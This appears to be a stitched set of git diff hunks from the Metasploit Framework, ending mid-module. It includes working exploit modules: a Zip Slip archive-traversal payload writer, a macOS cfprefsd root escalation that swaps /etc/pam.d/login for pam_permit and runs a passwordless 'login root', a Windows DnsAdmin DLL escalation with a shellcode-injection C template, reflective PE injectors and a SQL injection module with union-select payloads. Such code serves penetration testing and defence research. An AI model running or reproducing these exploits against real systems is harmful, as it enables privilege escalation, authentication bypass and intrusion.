directory traversal attacks. If an application uses it, there is a risk when opening an
archive that is maliciously modified, and result in the embedded payload to be written
to an arbitrary location (such as a web root), and result in remote code execution.
},
'Platform' => ['linux', 'win', 'unix'],
'Targets' =>
[
['Manually determined', {}]
],
'Privileged' => false,
'DisclosureDate' => "Jun 05 2018"
))
'License' => MSF_LICENSE,
'Author' =>
[
'Snyk', # Technique discovery
'sinn3r', # Metasploit
'ggkitsas'
],
'References' =>
[
['URL', 'https://snyk.io/research/zip-slip-vulnerability']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => true
},
'Platform' => ['linux', 'win', 'unix'],
'Targets' =>
[
['Manually determined', {}]
],
'Privileged' => false,
'DisclosureDate' => 'Jun 05 2018'
)
)
register_options([
OptString.new('FILENAME', [true, 'The tar file (tar)', 'msf.tar']),
OptString.new('FILENAME', [true, 'The name of the archive file', 'msf.tar']),
OptEnum.new('FTYPE', [true, 'The archive type', 'tar', ['tar', 'zip'] ]),
OptString.new('TARGETPAYLOADPATH', [true, 'The targeted path for payload', '../payload.bin'])
])
end
@@ -57,56 +62,63 @@ class MetasploitModule < Msf::Exploit::Remote
attr_reader :data
attr_reader :fname
attr_reader :payload
attr_reader :type
def initialize(n, p)
def initialize(n, p, t)
@fname = n
@payload = p
@type = t
@data = make
end
def make
data = ''
path = Rex::FileUtils.normalize_unix_path(fname)
tar = StringIO.new
Rex::Tar::Writer.new(tar) do |t|
t.add_file(path, 0777) do |f|
f.write(payload)
if type == 'tar'
contents = StringIO.new
Rex::Tar::Writer.new(contents) do |t|
t.add_file(path, 0o777) do |f|
f.write(payload)
end
end
contents.seek(0)
data = contents.read
contents.close
data
elsif type == 'zip'
zip = Rex::Zip::Archive.new
zip.add_file(path, payload)
data = zip.pack
end
tar.seek(0)
data = tar.read
tar.close
data
end
end
def make_tar(target_payload_path)
def make_archive(target_payload_path, type)
elf = generate_payload_exe(code: payload.encoded)
archive = ZipSlipArchive.new(target_payload_path, generate_payload_exe)
archive = ZipSlipArchive.new(target_payload_path, generate_payload_exe, type)
archive.make
end
def exploit
target_payload_path = datastore['TARGETPAYLOADPATH']
unless target_payload_path.match(/\.\.\//)
unless target_payload_path.match(%r{\.\./})
print_error('Please set a traversal path')
return
end
tar = make_tar(target_payload_path)
file_create(tar)
archive = make_archive(target_payload_path, datastore['FTYPE'])
file_create(archive)
print_status('When extracted, the payload is expected to extract to:')
print_status(target_payload_path)
end
end
=begin
A quick test:
$ python
>>> import tarfile
>>> t = tarfile.open('test.tar')
>>> t.extractall()
>>> exit()
=end
# A quick test:
#
# $ python
# >>> import tarfile
# >>> t = tarfile.open('test.tar')
# >>> t.extractall()
# >>> exit()
#
@@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::Java::Rmi::Client
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::CheckModule
def initialize(info = {})
super(update_info(info,
@@ -41,6 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' =>
{
'CheckModule' => 'auxiliary/scanner/misc/java_rmi_server',
'WfsDelay' => 10
},
'Targets' =>
@@ -0,0 +1,159 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'macOS cfprefsd Arbitrary File Write Local Privilege Escalation',
'Description' => %q{
This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in
order to run a payload as root. The CFPreferencesSetAppValue function, which is
reachable from most unsandboxed processes, can be exploited with a race condition
in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login
a user can then login as root with the `login root` command without a password.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020
'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020
'Insu Yun <insu[at]gatech.edu>', # pwn2own2020
'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020
'timwr' # metasploit integration
],
'References' => [
['CVE', '2020-9839'],
['URL', 'https://github.com/sslab-gatech/pwn2own2020'],
],
'Platform' => 'osx',
'Arch' => ARCH_X64,
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', {} ],
],
'DisclosureDate' => 'Mar 18 2020'
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
@@target_file = "/etc/pam.d/login"
@@original_content = %q(# login: auth account password session
auth optional pam_krb5.so use_kcminit
auth optional pam_ntlm.so try_first_pass
auth optional pam_mount.so try_first_pass
auth required pam_opendirectory.so try_first_pass
account required pam_nologin.so
account required pam_opendirectory.so
password required pam_opendirectory.so
session required pam_launchd.so
session required pam_uwtmp.so
session optional pam_mount.so
)
@@replacement_content = %q(# login: auth account password session
auth optional pam_permit.so
auth optional pam_permit.so
auth optional pam_permit.so
auth required pam_permit.so
account required pam_permit.so
account required pam_permit.so
password required pam_permit.so
session required pam_permit.so
session required pam_permit.so
session optional pam_permit.so
)
def check
version = Gem::Version.new(get_system_version)
if version > Gem::Version.new('10.15.4')
CheckCode::Safe
elsif version < Gem::Version.new('10.15')
CheckCode::Safe
else
CheckCode::Appears
end
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end
payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
upload_and_chmodx payload_file, binary_payload
register_file_for_cleanup payload_file
current_content = read_file(@@target_file)
@restore_content = current_content
if current_content == @@replacement_content
print_warning("The contents of #{@@target_file} was already replaced")
elsif current_content != @@original_content
print_warning("The contents of #{@@target_file} did not match the expected contents")
@restore_content = nil
end
exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"
exploit_exe = exploit_data 'CVE-2020-9839', 'exploit'
upload_and_chmodx exploit_file, exploit_exe
register_file_for_cleanup exploit_file
exploit_cmd = "#{exploit_file} #{@@target_file}"
print_status("Executing exploit '#{exploit_cmd}'")
result = cmd_exec(exploit_cmd)
print_status("Exploit result:\n#{result}")
unless write_file(@@target_file, @@replacement_content)
print_error("#{@@target_file} could not be written")
end
login_cmd = "echo '#{payload_file} & disown' | login root"
print_status("Running cmd:\n#{login_cmd}")
result = cmd_exec(login_cmd)
unless result.blank?
print_status("Command output:\n#{result}")
end
end
def new_session_cmd(session, cmd)
if session.type.eql? 'meterpreter'
session.sys.process.execute '/bin/bash', "-c '#{cmd}'"
else
session.shell_command_token cmd
end
end
def on_new_session(session)
return super unless @restore_content
if write_file(@@target_file, @restore_content)
new_session_cmd(session, "chgrp wheel #{@@target_file}")
new_session_cmd(session, "chown root #{@@target_file}")
new_session_cmd(session, "chmod 644 #{@@target_file}")
print_good("#{@@target_file} was restored")
else
print_error("#{@@target_file} could not be restored!")
end
super
end
end
@@ -0,0 +1,403 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/compiler/windows'
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation',
'Description' => %q{
This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the
`ServerLevelPluginDll` value using dnscmd.exe to create a registry key at `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\`
named `ServerLevelPluginDll` that can be made to point to an arbitrary DLL. After doing so, restarting the service
will load the DLL and cause it to execute, providing us with SYSTEM privileges. Increasing WfsDelay is recommended
when using a UNC path.
Users should note that if the DLLPath variable of this module is set to a UNC share that does not exist,
the DNS server on the target will not be able to restart. Similarly if a UNC share is not utilized, and
users instead opt to drop a file onto the disk of the target computer, and this gets picked up by Anti-Virus
after the timeout specified by `AVTIMEOUT` expires, its possible that the `ServerLevelPluginDll` value of the
`HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key on the target computer may point to an nonexistant DLL,
which will also prevent the DNS server from being able to restart. Users are advised to refer to the documentation for
this module for advice on how to resolve this issue should it occur.
This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows
Server version up to and including Windows Server 2019.
},
'References' =>
[
['URL', 'https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83'],
['URL', 'https://adsecurity.org/?p=4064'],
['URL', 'http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html']
],
'DisclosureDate' => 'May 08 2017',
'License' => MSF_LICENSE,
'Author' =>
[
'Shay Ber', # vulnerability discovery
'Imran E. Dawoodjee <imran[at]threathounds.com>' # Metasploit module
],
'Platform' => 'win',
'Targets' => [[ 'Automatic', {} ]],
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'WfsDelay' => 20,
'EXITFUNC' => 'thread'
},
'Notes' =>
{
'Stability' => [CRASH_SERVICE_DOWN], # The service can go down if AV picks up on the file at an
# non-optimal time or if the UNC path is typed in wrong.
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('DLLNAME', [ true, 'DLL name (default: msf.dll)', 'msf.dll']),
OptString.new('DLLPATH', [ true, 'Path to DLL. Can be a UNC path. (default: %TEMP%)', '%TEMP%']),
OptBool.new('MAKEDLL', [ true, 'Just create the DLL, do not exploit.', false]),
OptInt.new('AVTIMEOUT', [true, 'Time to wait for AV to potentially notice the DLL file we dropped, in seconds.', 60])
]
)
deregister_options('FILE_CONTENTS')
end
def check
if sysinfo['OS'] =~ /Windows 20(03|08|12|16\+|16)/
vprint_good('OS seems vulnerable.')
else
vprint_error('OS is not vulnerable!')
return Exploit::CheckCode::Safe
end
username = client.sys.config.getuid
user_sid = client.sys.config.getsid
hostname = sysinfo['Computer']
vprint_status("Running check against #{hostname} as user #{username}...")
srv_info = service_info('DNS')
if srv_info.nil?
vprint_error('Unable to enumerate the DNS service!')
return Exploit::CheckCode::Unknown
end
if srv_info && srv_info[:display].empty?
vprint_error('The DNS service does not exist on this host!')
return Exploit::CheckCode::Safe
end
# for use during permission check
if srv_info[:dacl].nil?
vprint_error('Unable to determine permissions on the DNS service!')
return Exploit::CheckCode::Unknown
end
dacl_items = srv_info[:dacl].split('D:')[1].scan(/\((.+?)\)/)
vprint_good("DNS service found on #{hostname}.")
# user must be a member of the DnsAdmins group to be able to change ServerLevelPluginDll
group_membership = get_whoami
unless group_membership
vprint_error('Unable to enumerate group membership!')
return Exploit::CheckCode::Unknown
end
unless group_membership.include? 'DnsAdmins'
vprint_error("User #{username} is not part of the DnsAdmins group!")
return Exploit::CheckCode::Safe
end
# find the DnsAdmins group SID
dnsadmin_sid = ''
group_membership.each_line do |line|
unless line.include? 'DnsAdmins'
next
end
vprint_good("User #{username} is part of the DnsAdmins group.")
line.split.each do |item|
unless item.include? 'S-'
next
end
vprint_status("DnsAdmins SID is #{item}")
dnsadmin_sid = item
break
end
break
end
# check if the user or DnsAdmins group has the proper permissions to start/stop the DNS service
if dacl_items.any? { |dacl_item| dacl_item[0].include? dnsadmin_sid }
dnsadmin_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? dnsadmin_sid }[0]
if dnsadmin_dacl.include? 'RPWP'
vprint_good('Members of the DnsAdmins group can start/stop the DNS service.')
end
elsif dacl_items.any? { |dacl_item| dacl_item[0].include? user_sid }
user_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? user_sid }[0]
if user_dacl.include? 'RPWP'
vprint_good("User #{username} can start/stop the DNS service.")
end
else
vprint_error("User #{username} does not have permissions to start/stop the DNS service!")
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Vulnerable
end
def exploit
# get system architecture
arch = sysinfo['Architecture']
if arch != payload_instance.arch.first
fail_with(Failure::BadConfig, 'Wrong payload architecture!')
end
# no exploit, just create the DLL
if datastore['MAKEDLL'] == true
# copypasta from lib/msf/core/exploit/fileformat.rb
# writes the generated DLL to ~/.msf4/local/
dllname = datastore['DLLNAME']
full_path = store_local('dll', nil, make_serverlevelplugindll(arch), dllname)
print_good("#{dllname} stored at #{full_path}")
return
end
# will exploit
if is_system?
fail_with(Failure::BadConfig, 'Session is already elevated!')
end
unless [CheckCode::Vulnerable].include? check
fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')
end
# if the DNS service is not started, it will throw RPC_S_SERVER_UNAVAILABLE when trying to set ServerLevelPluginDll
print_status('Checking service state...')
svc_state = service_status('DNS')
unless svc_state[:state] == 4
print_status('DNS service is stopped, starting it...')
service_start('DNS')
end
# the service must be started before proceeding
total_wait_time = 0
loop do
svc_state = service_status('DNS')
if svc_state[:state] == 4
sleep 1
break
else
sleep 2
total_wait_time += 2
fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90
end
end
# the if block assumes several things:
# 1. operator has set up their own SMB share (SMB2 is default for most targets), as MSF does not support SMB2 yet
# 2. operator has generated their own DLL with the correct payload and architecture
# 3. operator's SMB share is accessible from the target. "Enable insecure guest logons" is "Enabled" on the target or
# the target falls back to SMB1
dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip
if datastore['DLLPATH'].start_with?('\\\\')
# Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations.
build_num_raw = session.shell_command_token('cmd.exe /c ver')
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
if build_num.nil?
print_error("Couldn't retrieve the target's build number!")
return
else
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
vprint_status("Target's build number: #{build_num}")
end
build_num_gemversion = Gem::Version.new(build_num)
# If the target is running Windows 10 or Windows Server versions with a
# build number of 16299 or later, aka v1709 or later, then we need to check
# if "Enable insecure guest logons" is enabled on the target system as per
# https://support.microsoft.com/en-us/help/4046019/guest-access-in-smb2-disabled-by-default-in-windows-10-and-windows-ser
if (build_num_gemversion >= Gem::Version.new('10.0.16299.0'))
# check if "Enable insecure guest logons" is enabled on the target system
allow_insecure_guest_auth = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanWorkstation\\Parameters', 'AllowInsecureGuestAuth')
unless allow_insecure_guest_auth == 1
fail_with(Failure::BadConfig, "'Enable insecure guest logons' is not set to Enabled on the target system!")
end
end
print_status('Using user-provided UNC path.')
else
write_file(dllpath, make_serverlevelplugindll(arch))
print_good("Wrote DLL to #{dllpath}!")
print_status("Sleeping for #{datastore['AVTIMEOUT']} seconds to ensure the file wasn't caught by any AV...")
sleep(datastore['AVTIMEOUT'])
unless file_exist?(dllpath.to_s)
print_error('Woops looks like the DLL got picked up by AV or somehow got deleted...')
return
end
print_good("Looks like our file wasn't caught by the AV.")
end
print_warning('Entering danger section...')
print_status("Modifying ServerLevelPluginDll to point to #{dllpath}...")
dnscmd_result = cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll #{dllpath}").to_s.strip
unless dnscmd_result.include? 'success'
fail_with(Failure::UnexpectedReply, dnscmd_result.split("\n")[0])
end
print_good(dnscmd_result.split("\n")[0])
# restart the DNS service
print_status('Restarting the DNS service...')
restart_service
end
def on_new_session(session)
if datastore['DLLPATH'].start_with?('\\\\')
return
else
if session.type == 'meterpreter'
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
end
vprint_status('Erasing ServerLevelPluginDll registry value...')
cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll")
print_good('Exited danger zone successfully!')
dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip
restart_service('session' => session, 'dllpath' => dllpath)
end
end
def restart_service(opts = {})
# for deleting the DLL
if opts['session'] && opts['dllpath']
session = opts['session']
dllpath = opts['dllpath']
end
service_stop('DNS')
# see if the service has really been stopped
total_wait_time = 0
loop do
svc_state = service_status('DNS')
if svc_state[:state] == 1
sleep 1
break
else
sleep 2
total_wait_time += 2
fail_with(Failure::TimeoutExpired, 'Was unable to stop the DNS service after 3 minutes of trying...') if total_wait_time >= 90
end
end
# clean up the dropped DLL
if session && dllpath && !datastore['DLLPATH'].start_with?('\\\\')
vprint_status("Removing #{dllpath}...")
session.fs.file.rm dllpath
end
service_start('DNS')
# see if the service has really been started
total_wait_time = 0
loop do
svc_state = service_status('DNS')
if svc_state[:state] == 4
sleep 1
break
else
sleep 2
total_wait_time += 2
fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90
end
end
end
def make_serverlevelplugindll(arch)
# generate the payload
payload = generate_payload
# the C template for the ServerLevelPluginDll DLL
c_template = %|
#include <Windows.h>
#include <stdlib.h>
#include <String.h>
BOOL APIENTRY DllMain __attribute__((export))(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason) {
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int DnsPluginCleanup __attribute__((export))(void) { return 0; }
int DnsPluginQuery __attribute__((export))(PVOID a1, PVOID a2, PVOID a3, PVOID a4) { return 0; }
int DnsPluginInitialize __attribute__((export))(PVOID a1, PVOID a2) {
STARTUPINFO startup_info;
PROCESS_INFORMATION process_info;
char throwaway_buffer[8];
ZeroMemory(&startup_info, sizeof(startup_info));
startup_info.cb = sizeof(STARTUPINFO);
startup_info.dwFlags = STARTF_USESHOWWINDOW;
startup_info.wShowWindow = 0;
if (CreateProcess(NULL, "C:\\\\Windows\\\\System32\\\\notepad.exe", NULL, NULL, FALSE, 0, NULL, NULL, &startup_info, &process_info)) {
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
unsigned char shellcode[] = "SHELLCODE_PLACEHOLDER";
processHandle = OpenProcess(0x1F0FFF, FALSE, process_info.dwProcessId);
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, 0x3000, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(process_info.hThread);
CloseHandle(processHandle);
}
return 0;
}
|
c_template.gsub!('SHELLCODE_PLACEHOLDER', Rex::Text.to_hex(payload.raw).to_s)
cpu = nil
case arch
when 'x86'
cpu = Metasm::Ia32.new
when 'x64'
cpu = Metasm::X86_64.new
else
fail_with(Failure::NoTarget, 'Target arch is not compatible')
end
print_status('Building DLL...')
Metasploit::Framework::Compiler::Windows.compile_c(c_template, :dll, cpu)
end
end
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options'
module MetasploitModule
CachedSize = 34197
CachedSize = 34264
include Msf::Payload::Single
include Msf::Payload::Php::ReverseTcp
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 112349
CachedSize = 112793
include Msf::Payload::Single
include Msf::Payload::Python
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 112317
CachedSize = 112761
include Msf::Payload::Single
include Msf::Payload::Python
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 112317
CachedSize = 112765
include Msf::Payload::Single
include Msf::Payload::Python
@@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 112245
CachedSize = 112693
include Msf::Payload::Single
include Msf::Payload::Python
@@ -16,7 +16,7 @@ module MetasploitModule
def initialize(info = {})
super(update_info(info,
'Name' => 'Python Meterpreter',
'Description' => 'Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6)',
'Description' => 'Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+)',
'Author' => 'Spencer McIntyre',
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
@@ -0,0 +1,60 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
#
require 'msf/core/payload/windows/peinject'
require 'msf/core/payload/windows/reflective_pe_loader'
###
#
# Injects an arbitrary PE file in the exploited process via reflective PE loader.
#
###
module MetasploitModule
include Msf::Payload::Windows
include Msf::Payload::Windows::PEInject
include Msf::Payload::Windows::ReflectivePELoader
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Inject PE Files',
'Description' => %q{
Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE
loader will execute the pre-mapped PE image starting from the address of entry after performing image base
relocation and API address resolution. This module requires a PE file that contains relocation data and a
valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks
are not currently supported. Also PE files which use resource loading might crash.
},
'Author' =>
[
'ege <egebalci[at]pm.me>'
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'References' =>
[
'https://github.com/EgeBalci/Amber'
],
'PayloadCompat' =>
{
'Convention' => 'sockedi handleedi -http -https'
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
}
)
)
end
def encapsulate_reflective_stub(mapped_pe, opts)
call_size = mapped_pe.length + 5
reflective_loader = Metasm::Shellcode.assemble(Metasm::X86.new, "call $+#{call_size}").encode_string
reflective_loader += mapped_pe
reflective_loader + Metasm::Shellcode.assemble(Metasm::X86.new, asm_reflective_pe_loader(opts)).encode_string
end
end
@@ -0,0 +1,60 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/payload/windows/peinject'
require 'msf/core/payload/windows/x64/reflective_pe_loader'
###
#
# Injects an arbitrary PE file in the exploited process via reflective PE loader.
#
###
module MetasploitModule
include Msf::Payload::Windows
include Msf::Payload::Windows::PEInject
include Msf::Payload::Windows::ReflectivePELoader_x64
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Inject Reflective PE Files',
'Description' => %q{
Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE
loader will execute the pre-mapped PE image starting from the address of entry after performing image base
relocation and API address resolution. This module requires a PE file that contains relocation data and a
valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks
are not currently supported. Also PE files which use resource loading might crash.
},
'Author' =>
[
'ege <egebalci[at]pm.me>'
],
'References' =>
[
'https://github.com/EgeBalci/Amber'
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'PayloadCompat' =>
{
'Convention' => 'sockrdi handlerdi -http -https'
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
}
)
)
end
def encapsulate_reflective_stub(mapped_pe, opts)
call_size = mapped_pe.length + 5
reflective_loader = Metasm::Shellcode.assemble(Metasm::X64.new, "call $+#{call_size}").encode_string
reflective_loader += mapped_pe
reflective_loader + Metasm::Shellcode.assemble(Metasm::X64.new, asm_reflective_pe_loader_x64(opts)).encode_string
end
end
+6 -5
View File
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Post
'Name' => "Windows Gather Applied Patches",
'Description' => %q{
This module will attempt to enumerate which patches are applied to a windows system
based on the result of the WMI query: SELECT HotFixID FROM Win32_QuickFixEngineering.
based on the result of the WMI query: SELECT HotFixID, InstalledOn FROM Win32_QuickFixEngineering.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
@@ -39,16 +39,16 @@ class MetasploitModule < Msf::Post
end
begin
objects = session.extapi.wmi.query("SELECT HotFixID FROM Win32_QuickFixEngineering")
objects = session.extapi.wmi.query("SELECT HotFixID, InstalledOn FROM Win32_QuickFixEngineering")
rescue RuntimeError
print_error "Known bug in WMI query, try migrating to another process"
print_error 'Known bug in WMI query, try migrating to another process'
return
end
if objects[:values].nil?
kb_ids = []
else
kb_ids = objects[:values].reject(&:nil?).map { |kb| kb[0] }
kb_ids = objects[:values].reject(&:nil?).map { |kb| kb }
end
if kb_ids.empty?
@@ -58,8 +58,9 @@ class MetasploitModule < Msf::Post
l = store_loot('enum_patches', 'text/plain', session, kb_ids.join("\n"))
print_status("Patch list saved to #{l}")
kb_ids.each do |kb|
print_status("#{kb} applied")
print_good("#{kb[0]} installed on #{kb[1]}")
end
end
end
@@ -27,12 +27,12 @@ class MetasploitModule < Msf::Post
env_vars = session.sys.config.getenvs('SystemDrive', 'USERNAME')
sysdrv = env_vars['SystemDrive']
if os =~ /Windows 7|Vista|2008/
path4users = sysdrv + "\\Users\\"
profilepath = "\\Documents\\WindowsPowerShell\\"
else
if os =~ /XP|2003/
path4users = sysdrv + "\\Documents and Settings\\"
profilepath = "\\My Documents\\WindowsPowerShell\\"
else
path4users = sysdrv + "\\Users\\"
profilepath = "\\Documents\\WindowsPowerShell\\"
end
if is_system?
+2 -2
View File
@@ -49,10 +49,10 @@ def init_framework(create_opts={})
]
create_opts[:module_types].map! do |type|
type = Msf.const_get("MODULE_#{type.upcase}")
Msf.const_get("MODULE_#{type.upcase}")
end
@framework = ::Msf::Simple::Framework.create
@framework = ::Msf::Simple::Framework.create(create_opts)
end
# Cached framework object
@@ -1,3 +1,5 @@
# -*- coding: binary -*-
require 'spec_helper'
RSpec.describe Msf::Modules::Metadata::Search do
@@ -203,6 +205,49 @@ RSpec.describe Msf::Modules::Metadata::Search do
it_should_behave_like 'search_filter', :accept => [nil, '', ' '], :test_inverse => false
end
context 'on a module with a #description of "metasploit pro console"' do
let(:opts) { ({ 'description' => 'metasploit pro console' }) }
it_should_behave_like(
'search_filter',
:accept => ["metasploit", "metasploit pro", "metasploit pro console", "console pro"],
:reject => ["metasploit framework", "pro framework", "pro console php"],
:test_inverse => false
)
end
context 'when invalid encodings are used, all results are returned' do
context 'and the search term is present' do
let(:opts) { ({ 'author' => ['István'.force_encoding("UTF-8")] }) }
it_should_behave_like(
'search_filter',
accept: [
"author:István",
"author:Istv\xE1n ",
"author:Istv\u00E1n ",
],
:reject => [
'different_author'
],
:test_inverse => false
)
end
context 'and the search term is not present' do
let(:opts) { ({ 'author' => ['different_author'] }) }
it_should_behave_like(
'search_filter',
accept: [
'different_author',
"author:Istv\xE1n",
],
:reject => [
"author:István",
"author:Istv\u00E1n ",
],
:test_inverse => false
)
end
end
context 'when filtering by module #type' do
all_module_types = Msf::MODULE_TYPES
all_module_types.each do |mtype|
+162
View File
@@ -0,0 +1,162 @@
# frozen_string_literal: true
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::SQLi
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SQLite injection testing module',
'Description' => '
This module tests the SQL injection library against the SQLite database management system
The target : https://github.com/incredibleindishell/sqlite-lab
',
'Author' =>
[
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>'
],
'License' => MSF_LICENSE,
'Platform' => %w[linux],
'References' =>
[],
'Targets' => [['Wildcard Target', {}]],
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RHOST('127.0.0.1'),
OptString.new('TARGETURI', [true, 'The target URI', '/']),
OptInt.new('SqliType', [true, '0)Regular. 1) BooleanBlind. 2)TimeBlind', 0]),
OptString.new('Encoder', [false, 'an encoder to use (hex for example)', '']),
OptBool.new('HexEncodeStrings', [true, 'Replace strings in the query with hex numbers?', false]),
OptInt.new('TruncationLength', [true, 'Test SQLi with truncated output (0 or negative to disable)', 0]),
OptBool.new('Safe', [ true, 'Dump data row-by-row ?', false ]),
OptInt.new('NumRows', [ false, 'Limit the number of rows to retrieve (0 or negative to disable)', 0])
]
)
end
def boolean_blind
encoder = datastore['Encoder'].empty? ? nil : datastore['Encoder'].intern
sqli = create_sqli(dbms: SQLitei::BooleanBasedBlind, opts: {
encoder: encoder,
hex_encode_strings: datastore['HexEncodeStrings'],
safe: datastore['Safe']
}) do |payload|
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'vars_post' => {
'tag' => "' or #{payload}--",
'search' => 'Check Plan'
}
})
res.body.include?('Dear')
end
unless sqli.test_vulnerable
print_bad("Doesn't seem to be vulnerable")
return
end
perform_sqli(sqli)
end
def reflected
encoder = datastore['Encoder'].empty? ? nil : datastore['Encoder'].intern
truncation = datastore['TruncationLength'] <= 0 ? nil : datastore['TruncationLength']
sqli = create_sqli(dbms: SQLitei::Common, opts: {
encoder: encoder,
hex_encode_strings: datastore['HexEncodeStrings'],
truncation_length: truncation,
safe: datastore['Safe']
}) do |payload|
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'vars_get' => {
'tag' => "' and 1=2 union select 1,(#{payload}),3,4,5--"
}
})
if !res
''
else
body = res.body[%r{Default Operating system</td><td width="40%" align=left style="padding: 5px;color:#ff9933;">(.*?)</td></tr><tr><td}m, 1]
if !body
''
else
body = body.strip
